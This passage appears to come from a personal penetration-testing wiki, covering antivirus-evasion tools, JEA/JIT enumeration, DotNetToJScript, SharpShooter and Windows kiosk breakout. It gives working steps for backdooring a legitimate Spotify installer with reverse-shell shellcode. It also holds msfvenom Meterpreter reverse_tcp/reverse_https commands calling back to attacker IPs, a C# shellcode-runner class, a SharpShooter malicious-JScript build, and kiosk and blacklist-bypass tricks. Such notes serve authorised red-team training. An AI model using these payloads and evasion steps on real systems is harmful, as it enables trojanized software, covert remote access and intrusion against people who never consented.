Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
